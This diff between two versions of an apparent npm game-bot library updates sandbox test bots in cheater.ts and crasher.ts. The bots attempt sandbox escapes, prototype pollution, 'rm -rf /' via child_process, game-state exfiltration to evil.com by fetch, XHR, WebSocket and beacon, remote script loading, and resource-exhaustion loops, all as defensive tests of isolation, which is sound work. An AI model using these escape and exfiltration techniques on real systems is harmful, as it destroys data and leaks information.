@vibemancer/core 0.1.3 → 0.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/dist/chunk-W7HWJFQ4.js +10599 -0
- package/dist/chunk-W7HWJFQ4.js.map +1 -0
- package/dist/index-browser.d.ts +1300 -1051
- package/dist/index-browser.js +55 -17
- package/dist/index.d.ts +53 -3
- package/dist/index.js +200 -54
- package/dist/index.js.map +1 -1
- package/package.json +21 -15
- package/src/bots/Hero.ts +867 -0
- package/src/bots/berserker/01_Stormchaser.ts +162 -120
- package/src/bots/berserker/02_Stormcaller.ts +160 -116
- package/src/bots/berserker/03_Stormforger.ts +162 -129
- package/src/bots/caster/01_Flamecaller.ts +126 -84
- package/src/bots/caster/02_Pyromancer.ts +148 -101
- package/src/bots/caster/03_Infernalist.ts +180 -160
- package/src/bots/defensive/01_Turtle.ts +48 -44
- package/src/bots/defensive/02_Sentinel.ts +57 -53
- package/src/bots/defensive/03_Golem.ts +85 -97
- package/src/bots/duelist/01_Battlemage.ts +157 -122
- package/src/bots/duelist/02_Warmage.ts +166 -121
- package/src/bots/duelist/03_Archmage.ts +198 -178
- package/src/bots/homing/01_Bonemancer.ts +20 -32
- package/src/bots/homing/02_Lich.ts +145 -93
- package/src/bots/homing/03_Archlich.ts +129 -60
- package/src/bots/kiter/01_Spellspinner.ts +145 -107
- package/src/bots/kiter/02_Spellweaver.ts +153 -105
- package/src/bots/kiter/03_Spellbinder.ts +168 -123
- package/src/bots/melee/01_Shadowblade.ts +131 -75
- package/src/bots/melee/02_Nightblade.ts +174 -130
- package/src/bots/melee/03_Voidblade.ts +266 -168
- package/src/bots/registry.ts +44 -37
- package/src/bots/shared.ts +185 -25
- package/src/bots/sniper/01_Spellshot.ts +151 -98
- package/src/bots/sniper/02_Spelltracer.ts +173 -128
- package/src/bots/sniper/03_Spellseeker.ts +177 -152
- package/src/bots/standalone/Critter.ts +46 -52
- package/src/bots/standalone/Doombringer.ts +36 -40
- package/src/bots/standalone/Hogger.ts +120 -89
- package/src/bots/standalone/Rookie.ts +21 -23
- package/src/bots/standalone/TargetDummy.ts +5 -6
- package/src/bots/test/cheater.ts +91 -85
- package/src/bots/test/crasher.ts +26 -28
- package/src/engine/bundle-fight.ts +242 -0
- package/src/engine/hooks-runtime.ts +58 -18
- package/src/engine/manual-match.ts +33 -25
- package/src/engine/missile-templates.ts +25 -43
- package/src/engine/optimizer.ts +7 -7
- package/src/engine/params-runtime.ts +3 -3
- package/src/engine/physics.ts +33 -23
- package/src/engine/sandbox-browser.ts +8 -7
- package/src/engine/sandbox-compile.ts +1 -1
- package/src/engine/sandbox-harness.ts +299 -367
- package/src/engine/sandbox.ts +3 -3
- package/src/engine/simulation.ts +291 -76
- package/src/engine/spells.ts +9 -12
- package/src/engine-version.ts +1 -1
- package/src/hooks/action-builders.ts +76 -21
- package/src/hooks/index.ts +17 -9
- package/src/hooks/state-hooks.ts +61 -25
- package/src/hooks/threat-analysis.ts +44 -20
- package/src/hooks/types.ts +62 -5
- package/src/index.ts +2 -0
- package/src/rules.ts +209 -63
- package/src/stats.ts +2 -2
- package/src/testing.ts +6 -30
- package/src/trace.ts +63 -3
- package/src/types.ts +127 -14
- package/src/utils/angles.ts +1 -0
- package/src/utils/combat.ts +98 -6
- package/src/utils/spatial.ts +3 -3
- package/dist/chunk-B7YYYBEC.js +0 -9140
- package/dist/chunk-B7YYYBEC.js.map +0 -1
- package/src/hooks/bot-wrapper.ts +0 -84
package/src/bots/test/cheater.ts
CHANGED
|
@@ -15,16 +15,17 @@
|
|
|
15
15
|
* - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
|
|
16
16
|
*/
|
|
17
17
|
|
|
18
|
-
import type {
|
|
18
|
+
import type {FinalAction} from '../../hooks/types.js';
|
|
19
|
+
import {idle, useHealth, usePosition, getWizardContext} from '../../hooks/index.js';
|
|
19
20
|
|
|
20
21
|
/**
|
|
21
22
|
* Attempts to modify built-in prototypes to sabotage the other bot.
|
|
22
23
|
* With prototype freezing enabled, these assignments should silently fail
|
|
23
24
|
* (or throw in strict mode), and the match should proceed normally.
|
|
24
25
|
*/
|
|
25
|
-
export
|
|
26
|
+
export function CheaterPrototypePollution(): FinalAction
|
|
26
27
|
{
|
|
27
|
-
try
|
|
28
|
+
try
|
|
28
29
|
{
|
|
29
30
|
// Try to sabotage Array methods used by the other bot
|
|
30
31
|
(Array.prototype as any).map = () => [];
|
|
@@ -39,159 +40,162 @@ export const CheaterPrototypePollution: WizardFunction = (_props) =>
|
|
|
39
40
|
(Math as any).sqrt = () => 0;
|
|
40
41
|
(Math as any).atan2 = () => 0;
|
|
41
42
|
}
|
|
42
|
-
catch
|
|
43
|
+
catch
|
|
43
44
|
{
|
|
44
45
|
// Frozen prototypes will throw in strict mode — that's expected
|
|
45
46
|
}
|
|
46
47
|
|
|
47
|
-
return
|
|
48
|
-
}
|
|
48
|
+
return idle();
|
|
49
|
+
}
|
|
49
50
|
|
|
50
51
|
/**
|
|
51
52
|
* Attempts to mutate the game state object passed to it, hoping to corrupt
|
|
52
53
|
* the simulation. With proper state views (copies), mutations should have
|
|
53
54
|
* no effect on the actual simulation state.
|
|
54
55
|
*/
|
|
55
|
-
export
|
|
56
|
+
export function CheaterStateCorruption(): FinalAction
|
|
56
57
|
{
|
|
57
|
-
try
|
|
58
|
+
try
|
|
58
59
|
{
|
|
60
|
+
// Access state through hooks/context and try to corrupt it
|
|
61
|
+
const ctx = getWizardContext() as any;
|
|
62
|
+
|
|
59
63
|
// Try to give ourselves infinite health
|
|
60
|
-
|
|
61
|
-
|
|
64
|
+
ctx.health = 999999;
|
|
65
|
+
ctx.maxHealth = 999999;
|
|
62
66
|
|
|
63
67
|
// Try to kill enemies by modifying their state
|
|
64
|
-
for (const enemy of
|
|
68
|
+
for (const enemy of ctx.enemies)
|
|
65
69
|
{
|
|
66
|
-
|
|
67
|
-
|
|
70
|
+
enemy.health = 0;
|
|
71
|
+
enemy.position = {x: -9999, y: -9999};
|
|
68
72
|
}
|
|
69
73
|
|
|
70
74
|
// Try to delete all enemy projectiles
|
|
71
|
-
for (const proj of
|
|
75
|
+
for (const proj of ctx.projectiles)
|
|
72
76
|
{
|
|
73
|
-
|
|
74
|
-
|
|
77
|
+
proj.damage = 0;
|
|
78
|
+
proj.remainingTicks = 0;
|
|
75
79
|
}
|
|
76
80
|
|
|
77
81
|
// Try to modify the position directly
|
|
78
|
-
|
|
79
|
-
|
|
82
|
+
ctx.position.x = 400;
|
|
83
|
+
ctx.position.y = 400;
|
|
80
84
|
}
|
|
81
|
-
catch
|
|
85
|
+
catch
|
|
82
86
|
{
|
|
83
87
|
// Expected if state is frozen
|
|
84
88
|
}
|
|
85
89
|
|
|
86
|
-
return
|
|
87
|
-
}
|
|
90
|
+
return idle();
|
|
91
|
+
}
|
|
88
92
|
|
|
89
93
|
/**
|
|
90
94
|
* Attempts to access Node.js APIs that should not be available in the sandbox.
|
|
91
95
|
* With esbuild platform: 'neutral', these should all be undefined or throw.
|
|
92
96
|
*/
|
|
93
|
-
export
|
|
97
|
+
export function CheaterNodeAccess(): FinalAction
|
|
94
98
|
{
|
|
95
|
-
try
|
|
99
|
+
try
|
|
96
100
|
{
|
|
97
101
|
// Try to access filesystem
|
|
98
102
|
const fs = (globalThis as any).require?.('fs');
|
|
99
103
|
fs?.writeFileSync?.('/tmp/hacked', 'pwned');
|
|
100
104
|
}
|
|
101
|
-
catch
|
|
105
|
+
catch
|
|
102
106
|
{
|
|
103
107
|
/* expected */
|
|
104
108
|
}
|
|
105
109
|
|
|
106
|
-
try
|
|
110
|
+
try
|
|
107
111
|
{
|
|
108
112
|
// Try to access process
|
|
109
113
|
const proc = (globalThis as any).process;
|
|
110
114
|
proc?.exit?.(1);
|
|
111
115
|
}
|
|
112
|
-
catch
|
|
116
|
+
catch
|
|
113
117
|
{
|
|
114
118
|
/* expected */
|
|
115
119
|
}
|
|
116
120
|
|
|
117
|
-
try
|
|
121
|
+
try
|
|
118
122
|
{
|
|
119
123
|
// Try to spawn child process
|
|
120
124
|
const cp = (globalThis as any).require?.('child_process');
|
|
121
125
|
cp?.execSync?.('rm -rf /');
|
|
122
126
|
}
|
|
123
|
-
catch
|
|
127
|
+
catch
|
|
124
128
|
{
|
|
125
129
|
/* expected */
|
|
126
130
|
}
|
|
127
131
|
|
|
128
|
-
try
|
|
132
|
+
try
|
|
129
133
|
{
|
|
130
134
|
// Try to access network
|
|
131
135
|
const net = (globalThis as any).require?.('net');
|
|
132
136
|
net?.createConnection?.({host: 'evil.com', port: 80});
|
|
133
137
|
}
|
|
134
|
-
catch
|
|
138
|
+
catch
|
|
135
139
|
{
|
|
136
140
|
/* expected */
|
|
137
141
|
}
|
|
138
142
|
|
|
139
|
-
return
|
|
140
|
-
}
|
|
143
|
+
return idle();
|
|
144
|
+
}
|
|
141
145
|
|
|
142
146
|
/**
|
|
143
147
|
* Attempts to escape the sandbox using known V8/JavaScript escape techniques.
|
|
144
148
|
* These should all fail within isolated-vm.
|
|
145
149
|
*/
|
|
146
|
-
export
|
|
150
|
+
export function CheaterSandboxEscape(): FinalAction
|
|
147
151
|
{
|
|
148
|
-
try
|
|
152
|
+
try
|
|
149
153
|
{
|
|
150
154
|
// Classic sandbox escape: constructor.constructor to get Function constructor
|
|
151
155
|
const fn = {}.constructor.constructor('return this')();
|
|
152
156
|
// If this works, fn would be the global object outside the sandbox
|
|
153
157
|
(fn as any)?.process?.exit?.(1);
|
|
154
158
|
}
|
|
155
|
-
catch
|
|
159
|
+
catch
|
|
156
160
|
{
|
|
157
161
|
/* expected */
|
|
158
162
|
}
|
|
159
163
|
|
|
160
|
-
try
|
|
164
|
+
try
|
|
161
165
|
{
|
|
162
166
|
// Try to access the global scope via Function
|
|
163
167
|
const global = Function('return this')();
|
|
164
168
|
(global as any)?.process?.exit?.(1);
|
|
165
169
|
}
|
|
166
|
-
catch
|
|
170
|
+
catch
|
|
167
171
|
{
|
|
168
172
|
/* expected */
|
|
169
173
|
}
|
|
170
174
|
|
|
171
|
-
try
|
|
175
|
+
try
|
|
172
176
|
{
|
|
173
177
|
// Try eval-based escape
|
|
174
178
|
const result = eval('globalThis.process');
|
|
175
179
|
(result as any)?.exit?.(1);
|
|
176
180
|
}
|
|
177
|
-
catch
|
|
181
|
+
catch
|
|
178
182
|
{
|
|
179
183
|
/* expected */
|
|
180
184
|
}
|
|
181
185
|
|
|
182
|
-
try
|
|
186
|
+
try
|
|
183
187
|
{
|
|
184
188
|
// Try to access import.meta (might leak host info)
|
|
185
189
|
const meta = import.meta as any;
|
|
186
190
|
meta?.url; // Should just be undefined or sandboxed
|
|
187
191
|
}
|
|
188
|
-
catch
|
|
192
|
+
catch
|
|
189
193
|
{
|
|
190
194
|
/* expected */
|
|
191
195
|
}
|
|
192
196
|
|
|
193
|
-
return
|
|
194
|
-
}
|
|
197
|
+
return idle();
|
|
198
|
+
}
|
|
195
199
|
|
|
196
200
|
// ============================================================================
|
|
197
201
|
// IO / NETWORK CHEATER BOTS
|
|
@@ -203,150 +207,152 @@ export const CheaterSandboxEscape: WizardFunction = (_props) =>
|
|
|
203
207
|
* If any succeeds, it would be a security vulnerability — bot code could
|
|
204
208
|
* exfiltrate game state, load external code, or communicate with C2 servers.
|
|
205
209
|
*/
|
|
206
|
-
export
|
|
210
|
+
export function CheaterNetworkIO(): FinalAction
|
|
207
211
|
{
|
|
208
212
|
const g = globalThis as any;
|
|
213
|
+
const health = useHealth();
|
|
209
214
|
|
|
210
215
|
// --- fetch ---
|
|
211
|
-
try
|
|
216
|
+
try
|
|
212
217
|
{
|
|
213
|
-
const result = g.fetch?.('https://evil.com/exfil?hp=' +
|
|
218
|
+
const result = g.fetch?.('https://evil.com/exfil?hp=' + health);
|
|
214
219
|
// If fetch exists and returns a promise, that's a breach
|
|
215
|
-
if (result && typeof result.then === 'function')
|
|
220
|
+
if (result && typeof result.then === 'function')
|
|
216
221
|
{
|
|
217
222
|
// Should never reach here
|
|
218
223
|
}
|
|
219
224
|
}
|
|
220
|
-
catch
|
|
225
|
+
catch
|
|
221
226
|
{
|
|
222
227
|
/* expected */
|
|
223
228
|
}
|
|
224
229
|
|
|
225
230
|
// --- XMLHttpRequest ---
|
|
226
|
-
try
|
|
231
|
+
try
|
|
227
232
|
{
|
|
228
233
|
const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
|
|
229
234
|
xhr?.open?.('POST', 'https://evil.com/exfil');
|
|
235
|
+
const pos = usePosition();
|
|
230
236
|
xhr?.send?.(
|
|
231
|
-
JSON.stringify({health
|
|
237
|
+
JSON.stringify({health, position: pos}),
|
|
232
238
|
);
|
|
233
239
|
}
|
|
234
|
-
catch
|
|
240
|
+
catch
|
|
235
241
|
{
|
|
236
242
|
/* expected */
|
|
237
243
|
}
|
|
238
244
|
|
|
239
245
|
// --- WebSocket ---
|
|
240
|
-
try
|
|
246
|
+
try
|
|
241
247
|
{
|
|
242
248
|
const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
|
|
243
249
|
ws?.send?.('connected');
|
|
244
250
|
}
|
|
245
|
-
catch
|
|
251
|
+
catch
|
|
246
252
|
{
|
|
247
253
|
/* expected */
|
|
248
254
|
}
|
|
249
255
|
|
|
250
256
|
// --- EventSource (Server-Sent Events) ---
|
|
251
|
-
try
|
|
257
|
+
try
|
|
252
258
|
{
|
|
253
259
|
const es = g.EventSource
|
|
254
260
|
? new g.EventSource('https://evil.com/commands')
|
|
255
261
|
: null;
|
|
256
262
|
es?.close?.();
|
|
257
263
|
}
|
|
258
|
-
catch
|
|
264
|
+
catch
|
|
259
265
|
{
|
|
260
266
|
/* expected */
|
|
261
267
|
}
|
|
262
268
|
|
|
263
269
|
// --- navigator.sendBeacon ---
|
|
264
|
-
try
|
|
270
|
+
try
|
|
265
271
|
{
|
|
266
272
|
g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
|
|
267
273
|
}
|
|
268
|
-
catch
|
|
274
|
+
catch
|
|
269
275
|
{
|
|
270
276
|
/* expected */
|
|
271
277
|
}
|
|
272
278
|
|
|
273
|
-
return
|
|
274
|
-
}
|
|
279
|
+
return idle();
|
|
280
|
+
}
|
|
275
281
|
|
|
276
282
|
/**
|
|
277
283
|
* Attempts to inject external scripts or create sub-workers to bypass sandbox.
|
|
278
284
|
* importScripts can load and execute arbitrary JS from any URL.
|
|
279
285
|
* Worker/SharedWorker can spawn new contexts without IO restrictions.
|
|
280
286
|
*/
|
|
281
|
-
export
|
|
287
|
+
export function CheaterScriptInjection(): FinalAction
|
|
282
288
|
{
|
|
283
289
|
const g = globalThis as any;
|
|
284
290
|
|
|
285
291
|
// --- importScripts (Web Worker API: loads & executes external JS) ---
|
|
286
|
-
try
|
|
292
|
+
try
|
|
287
293
|
{
|
|
288
294
|
g.importScripts?.('https://cdn.evil.com/payload.js');
|
|
289
295
|
}
|
|
290
|
-
catch
|
|
296
|
+
catch
|
|
291
297
|
{
|
|
292
298
|
/* expected */
|
|
293
299
|
}
|
|
294
300
|
|
|
295
301
|
// --- Worker (create sub-worker to bypass restrictions) ---
|
|
296
|
-
try
|
|
302
|
+
try
|
|
297
303
|
{
|
|
298
304
|
const w = g.Worker
|
|
299
305
|
? new g.Worker('data:text/javascript,fetch("https://evil.com")')
|
|
300
306
|
: null;
|
|
301
307
|
w?.terminate?.();
|
|
302
308
|
}
|
|
303
|
-
catch
|
|
309
|
+
catch
|
|
304
310
|
{
|
|
305
311
|
/* expected */
|
|
306
312
|
}
|
|
307
313
|
|
|
308
314
|
// --- SharedWorker ---
|
|
309
|
-
try
|
|
315
|
+
try
|
|
310
316
|
{
|
|
311
317
|
const sw = g.SharedWorker
|
|
312
318
|
? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
|
|
313
319
|
: null;
|
|
314
320
|
sw?.port?.close?.();
|
|
315
321
|
}
|
|
316
|
-
catch
|
|
322
|
+
catch
|
|
317
323
|
{
|
|
318
324
|
/* expected */
|
|
319
325
|
}
|
|
320
326
|
|
|
321
327
|
// --- Reconstruct fetch via Request/Response ---
|
|
322
|
-
try
|
|
328
|
+
try
|
|
323
329
|
{
|
|
324
330
|
const req = g.Request ? new g.Request('https://evil.com/data') : null;
|
|
325
|
-
if (req)
|
|
331
|
+
if (req)
|
|
326
332
|
{
|
|
327
333
|
// Without fetch, a Request object alone can't send anything,
|
|
328
334
|
// but verify the constructor is also blocked
|
|
329
335
|
}
|
|
330
336
|
}
|
|
331
|
-
catch
|
|
337
|
+
catch
|
|
332
338
|
{
|
|
333
339
|
/* expected */
|
|
334
340
|
}
|
|
335
341
|
|
|
336
|
-
return
|
|
337
|
-
}
|
|
342
|
+
return idle();
|
|
343
|
+
}
|
|
338
344
|
|
|
339
345
|
/**
|
|
340
346
|
* Attempts to use storage and cross-context communication APIs.
|
|
341
347
|
* These could be used to persist data between matches, leak info across
|
|
342
348
|
* tabs, or coordinate with external code.
|
|
343
349
|
*/
|
|
344
|
-
export
|
|
350
|
+
export function CheaterStorageAndComms(): FinalAction
|
|
345
351
|
{
|
|
346
352
|
const g = globalThis as any;
|
|
347
353
|
|
|
348
354
|
// --- BroadcastChannel (cross-tab/worker communication) ---
|
|
349
|
-
try
|
|
355
|
+
try
|
|
350
356
|
{
|
|
351
357
|
const bc = g.BroadcastChannel
|
|
352
358
|
? new g.BroadcastChannel('exfil-channel')
|
|
@@ -354,52 +360,52 @@ export const CheaterStorageAndComms: WizardFunction = (_props) =>
|
|
|
354
360
|
bc?.postMessage?.('secret data');
|
|
355
361
|
bc?.close?.();
|
|
356
362
|
}
|
|
357
|
-
catch
|
|
363
|
+
catch
|
|
358
364
|
{
|
|
359
365
|
/* expected */
|
|
360
366
|
}
|
|
361
367
|
|
|
362
368
|
// --- indexedDB (persistent storage) ---
|
|
363
|
-
try
|
|
369
|
+
try
|
|
364
370
|
{
|
|
365
371
|
const db = g.indexedDB?.open?.('exfil-db', 1);
|
|
366
|
-
if (db)
|
|
372
|
+
if (db)
|
|
367
373
|
{
|
|
368
374
|
// If indexedDB is available, bot could store/retrieve data across matches
|
|
369
375
|
}
|
|
370
376
|
}
|
|
371
|
-
catch
|
|
377
|
+
catch
|
|
372
378
|
{
|
|
373
379
|
/* expected */
|
|
374
380
|
}
|
|
375
381
|
|
|
376
382
|
// --- Cache API ---
|
|
377
|
-
try
|
|
383
|
+
try
|
|
378
384
|
{
|
|
379
385
|
const cache = g.caches?.open?.('exfil-cache');
|
|
380
|
-
if (cache && typeof cache.then === 'function')
|
|
386
|
+
if (cache && typeof cache.then === 'function')
|
|
381
387
|
{
|
|
382
388
|
// Could cache external resources for later use
|
|
383
389
|
}
|
|
384
390
|
}
|
|
385
|
-
catch
|
|
391
|
+
catch
|
|
386
392
|
{
|
|
387
393
|
/* expected */
|
|
388
394
|
}
|
|
389
395
|
|
|
390
396
|
// --- navigator (various APIs) ---
|
|
391
|
-
try
|
|
397
|
+
try
|
|
392
398
|
{
|
|
393
399
|
// navigator.clipboard, navigator.geolocation, etc.
|
|
394
400
|
const nav = g.navigator;
|
|
395
401
|
nav?.clipboard?.writeText?.('stolen data');
|
|
396
|
-
nav?.geolocation?.getCurrentPosition?.(() =>
|
|
402
|
+
nav?.geolocation?.getCurrentPosition?.(() =>
|
|
397
403
|
{});
|
|
398
404
|
}
|
|
399
|
-
catch
|
|
405
|
+
catch
|
|
400
406
|
{
|
|
401
407
|
/* expected */
|
|
402
408
|
}
|
|
403
409
|
|
|
404
|
-
return
|
|
405
|
-
}
|
|
410
|
+
return idle();
|
|
411
|
+
}
|
package/src/bots/test/crasher.ts
CHANGED
|
@@ -11,44 +11,45 @@
|
|
|
11
11
|
* - CrasherMissileLoop: infinite loop inside missile AI
|
|
12
12
|
*/
|
|
13
13
|
|
|
14
|
-
import type {
|
|
14
|
+
import type {FinalAction, MissileAction} from '../../hooks/types.js';
|
|
15
|
+
import {usePosition, useEnemy, idle, missile} from '../../hooks/index.js';
|
|
15
16
|
import {angleTo} from '../../utils/angles.js';
|
|
16
17
|
|
|
17
18
|
/**
|
|
18
19
|
* Enters an infinite loop immediately. Tests CPU timeout enforcement.
|
|
19
20
|
*/
|
|
20
|
-
export
|
|
21
|
+
export function CrasherInfiniteLoop(): FinalAction
|
|
21
22
|
{
|
|
22
|
-
while (true)
|
|
23
|
+
while (true)
|
|
23
24
|
{
|
|
24
25
|
// Spin forever — should be killed by isolate timeout
|
|
25
26
|
}
|
|
26
|
-
}
|
|
27
|
+
}
|
|
27
28
|
|
|
28
29
|
/**
|
|
29
30
|
* Allocates memory until the isolate runs out. Tests memory limit enforcement.
|
|
30
31
|
*/
|
|
31
|
-
export
|
|
32
|
+
export function CrasherMemoryBomb(): FinalAction
|
|
32
33
|
{
|
|
33
34
|
const bomb: number[][] = [];
|
|
34
|
-
while (true)
|
|
35
|
+
while (true)
|
|
35
36
|
{
|
|
36
37
|
bomb.push(new Array(1_000_000).fill(42));
|
|
37
38
|
}
|
|
38
|
-
}
|
|
39
|
+
}
|
|
39
40
|
|
|
40
41
|
/**
|
|
41
42
|
* Recurses until stack overflow. Tests stack exhaustion handling.
|
|
42
43
|
*/
|
|
43
|
-
export
|
|
44
|
+
export function CrasherStackOverflow(): FinalAction
|
|
44
45
|
{
|
|
45
|
-
function recurse(): number
|
|
46
|
+
function recurse(): number
|
|
46
47
|
{
|
|
47
48
|
return 1 + recurse();
|
|
48
49
|
}
|
|
49
50
|
recurse();
|
|
50
|
-
return
|
|
51
|
-
}
|
|
51
|
+
return idle();
|
|
52
|
+
}
|
|
52
53
|
|
|
53
54
|
/**
|
|
54
55
|
* Returns a valid wizard action but with a missile AI that loops forever.
|
|
@@ -58,24 +59,21 @@ export const CrasherStackOverflow: WizardFunction = (_props) =>
|
|
|
58
59
|
* isolate as part of simulate(). An infinite loop in missile AI will cause
|
|
59
60
|
* the entire fight to timeout.
|
|
60
61
|
*/
|
|
61
|
-
export
|
|
62
|
+
export function CrasherMissileLoop(): FinalAction
|
|
62
63
|
{
|
|
63
|
-
const
|
|
64
|
-
|
|
64
|
+
const pos = usePosition();
|
|
65
|
+
const enemy = useEnemy();
|
|
66
|
+
if (!enemy) return idle();
|
|
65
67
|
|
|
66
|
-
return
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
missileAI: (): MissileActions =>
|
|
68
|
+
return missile(
|
|
69
|
+
{damage: 10, speed: 5, turnRate: 1, duration: 100},
|
|
70
|
+
(): MissileAction =>
|
|
71
|
+
{
|
|
72
|
+
while (true)
|
|
72
73
|
{
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
// Spin forever inside missile AI
|
|
76
|
-
}
|
|
77
|
-
},
|
|
78
|
-
direction: angleTo(state.position, enemy.position),
|
|
74
|
+
// Spin forever inside missile AI
|
|
75
|
+
}
|
|
79
76
|
},
|
|
80
|
-
|
|
81
|
-
|
|
77
|
+
angleTo(pos, enemy.position),
|
|
78
|
+
);
|
|
79
|
+
}
|